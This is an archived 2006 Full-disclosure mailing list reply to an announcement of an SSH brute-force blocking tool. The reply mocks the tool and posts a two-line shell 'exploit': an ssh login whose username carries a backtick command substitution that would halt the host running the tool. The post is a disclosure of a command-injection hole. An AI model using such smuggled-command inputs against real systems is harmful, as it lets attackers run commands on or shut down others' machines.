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Re: [Full-disclosure] SSH brute force blocking tool

from [Tavis Ormandy] Network Security [Permanent Link]
Subject: Re: [Full-disclosure] SSH brute force blocking tool
Date: Mon, 27 Nov 2006 20:34:33 +0000 
On Mon, Nov 27, 2006 at 02:22:10PM -0500, J. Oquendo wrote:

For those interested, I wrote a program called Sharpener which is an SSH 
brute force blocking tool that also reports back the offenders' 
addresses. I have begun posting the information on the attackers as well 
as sending out messages (whenever possible) to the admins of these 
domains. Think of it as an RBL for SSH attackers. The goal is to 
identify these machines in order for others to implement safeguards 
(ACL's) against these hosts. Feel free to comment/complain.


http://www.infiltrated.net/sharpener (tool)
http://www.infiltrated.net/bruteforcers (offenders)



Nice work, really subtle rootkit. I like the email phone-home.

Here's an exploit.

#!/bin/sh
ssh 'foo bar `/sbin/halt`'@victim

-- 
-------------------------------------
taviso@sdf.lonestar.org | finger me for my pgp key.
-------------------------------------------------------

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